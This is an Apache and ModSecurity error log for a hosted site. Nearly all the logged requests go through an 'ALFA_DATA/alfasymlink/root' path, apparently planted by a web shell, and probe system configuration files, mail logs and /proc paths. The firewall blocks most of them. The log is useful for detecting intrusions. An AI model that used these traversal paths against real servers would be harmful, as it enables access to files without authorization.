[Sun Oct 25 14:29:44.515185 2026] [security2:error] [pid 2880751:tid 2880751] [client 76.135.135.39:49200] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/protected.d/sudo.conf"] [unique_id "at5KmItGhKGouuv1pXBVrgAAAAY"]
[Sun Oct 25 14:29:44.516745 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:49201] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/protected.d/systemd.conf"] [unique_id "at5KmBH5LAgtrvBIlo327AAAABU"]
[Sun Oct 25 14:29:44.516953 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:49201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/protected.d/systemd.conf"] [unique_id "at5KmBH5LAgtrvBIlo327AAAABU"]
[Sun Oct 25 14:29:44.517178 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:49201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/protected.d/systemd.conf"] [unique_id "at5KmBH5LAgtrvBIlo327AAAABU"]
[Sun Oct 25 14:29:44.587069 2026] [security2:error] [pid 2880767:tid 2880767] [client 76.135.135.39:49209] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/protected.d/yum.conf"] [unique_id "at5KmC-CzQxJ5MlF2Dkr0AAAAA0"]
[Sun Oct 25 14:29:44.587308 2026] [security2:error] [pid 2880767:tid 2880767] [client 76.135.135.39:49209] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/protected.d/yum.conf"] [unique_id "at5KmC-CzQxJ5MlF2Dkr0AAAAA0"]
[Sun Oct 25 14:29:44.587563 2026] [security2:error] [pid 2880767:tid 2880767] [client 76.135.135.39:49209] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/protected.d/yum.conf"] [unique_id "at5KmC-CzQxJ5MlF2Dkr0AAAAA0"]
[Sun Oct 25 14:29:47.266692 2026] [ssl:error] [pid 2880769:tid 2880769] (70014)End of file found: [client 3.212.86.97:38076] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:29:48.134720 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:49395] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/logs/roundcube/errors.log"] [unique_id "at5KnMO5MiLAYQWXs3NDPAAAAAc"]
[Sun Oct 25 14:29:48.135105 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:49395] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/logs/roundcube/errors.log"] [unique_id "at5KnMO5MiLAYQWXs3NDPAAAAAc"]
[Sun Oct 25 14:29:48.135410 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:49395] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/logs/roundcube/errors.log"] [unique_id "at5KnMO5MiLAYQWXs3NDPAAAAAc"]
[Sun Oct 25 14:29:48.236795 2026] [security2:error] [pid 2880783:tid 2880783] [client 76.135.135.39:49391] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/logs/roundcube/carddav.log"] [unique_id "at5KnIe8-CEahPPcPqWlkAAAABs"]
[Sun Oct 25 14:29:48.237169 2026] [security2:error] [pid 2880783:tid 2880783] [client 76.135.135.39:49391] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/logs/roundcube/carddav.log"] [unique_id "at5KnIe8-CEahPPcPqWlkAAAABs"]
[Sun Oct 25 14:29:48.237528 2026] [security2:error] [pid 2880783:tid 2880783] [client 76.135.135.39:49391] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/logs/roundcube/carddav.log"] [unique_id "at5KnIe8-CEahPPcPqWlkAAAABs"]
[Sun Oct 25 14:29:48.239668 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:49400] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/logs/roundcube/sendmail.log"] [unique_id "at5KnCEQblycZeXKbm74rAAAAAU"]
[Sun Oct 25 14:29:48.239883 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:49400] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/logs/roundcube/sendmail.log"] [unique_id "at5KnCEQblycZeXKbm74rAAAAAU"]
[Sun Oct 25 14:29:48.240117 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:49400] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/logs/roundcube/sendmail.log"] [unique_id "at5KnCEQblycZeXKbm74rAAAAAU"]
[Sun Oct 25 14:29:50.473250 2026] [security2:error] [pid 2880791:tid 2880791] [client 76.135.135.39:49828] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/install_packages.log"] [unique_id "at5KnkPqSLLgZP2DXaeVNgAAACE"]
[Sun Oct 25 14:29:50.473667 2026] [security2:error] [pid 2880791:tid 2880791] [client 76.135.135.39:49828] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/install_packages.log"] [unique_id "at5KnkPqSLLgZP2DXaeVNgAAACE"]
[Sun Oct 25 14:29:50.474094 2026] [security2:error] [pid 2880791:tid 2880791] [client 76.135.135.39:49828] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/install_packages.log"] [unique_id "at5KnkPqSLLgZP2DXaeVNgAAACE"]
[Sun Oct 25 14:29:50.500612 2026] [security2:error] [pid 2880775:tid 2880775] [client 76.135.135.39:49840] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/bases2/beta.php"] [unique_id "at5KnuaKFKmIDvm_U3f1rgAAABk"]
[Sun Oct 25 14:29:50.500647 2026] [security2:error] [pid 2880775:tid 2880775] [client 76.135.135.39:49840] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/bases2/beta.php"] [unique_id "at5KnuaKFKmIDvm_U3f1rgAAABk"]
[Sun Oct 25 14:29:50.786855 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:50109] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/task_db.log"] [unique_id "at5KnrFCIv3LB15s-_e9lAAAAAM"]
[Sun Oct 25 14:29:50.787114 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:50109] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/task_db.log"] [unique_id "at5KnrFCIv3LB15s-_e9lAAAAAM"]
[Sun Oct 25 14:29:50.787399 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:50109] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/task_db.log"] [unique_id "at5KnrFCIv3LB15s-_e9lAAAAAM"]
[Sun Oct 25 14:29:50.790134 2026] [security2:error] [pid 2880767:tid 2880767] [client 76.135.135.39:50120] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/restic_cache.log"] [unique_id "at5Kni-CzQxJ5MlF2Dkr1AAAAA0"]
[Sun Oct 25 14:29:50.790354 2026] [security2:error] [pid 2880767:tid 2880767] [client 76.135.135.39:50120] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/restic_cache.log"] [unique_id "at5Kni-CzQxJ5MlF2Dkr1AAAAA0"]
[Sun Oct 25 14:29:50.790627 2026] [security2:error] [pid 2880767:tid 2880767] [client 76.135.135.39:50120] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/restic_cache.log"] [unique_id "at5Kni-CzQxJ5MlF2Dkr1AAAAA0"]
[Sun Oct 25 14:29:52.025419 2026] [security2:error] [pid 2880798:tid 2880798] [client 76.135.135.39:50347] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/beta/bullet_bots.log"] [unique_id "at5KoBNl8ZOaBiavdxV-cAAAACc"]
[Sun Oct 25 14:29:52.025750 2026] [security2:error] [pid 2880798:tid 2880798] [client 76.135.135.39:50347] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/beta/bullet_bots.log"] [unique_id "at5KoBNl8ZOaBiavdxV-cAAAACc"]
[Sun Oct 25 14:29:52.026071 2026] [security2:error] [pid 2880798:tid 2880798] [client 76.135.135.39:50347] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/beta/bullet_bots.log"] [unique_id "at5KoBNl8ZOaBiavdxV-cAAAACc"]
[Sun Oct 25 14:29:54.631827 2026] [ssl:error] [pid 2880788:tid 2880788] (70014)End of file found: [client 52.200.251.20:3118] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:29:58.082265 2026] [authz_core:error] [pid 2880790:tid 2880790] [client 3.85.201.48:45838] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 14:29:58.334933 2026] [core:error] [pid 2880789:tid 2880789] (13)Permission denied: [client 3.81.253.213:51701] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/driver/cpu0/driver/bind
[Sun Oct 25 14:29:59.036141 2026] [core:error] [pid 2879908:tid 2879908] (13)Permission denied: [client 85.208.96.194:60002] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/remote_node_defrag_ratio
[Sun Oct 25 14:30:14.170207 2026] [ssl:error] [pid 2880768:tid 2880768] (70014)End of file found: [client 52.44.174.136:13780] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:30:26.248130 2026] [ssl:error] [pid 2880773:tid 2880773] (70014)End of file found: [client 3.210.29.96:63321] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:30:30.338128 2026] [core:error] [pid 2880769:tid 2880769] (13)Permission denied: [client 3.232.102.111:19348] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty1/subsystem/ttyS3/line
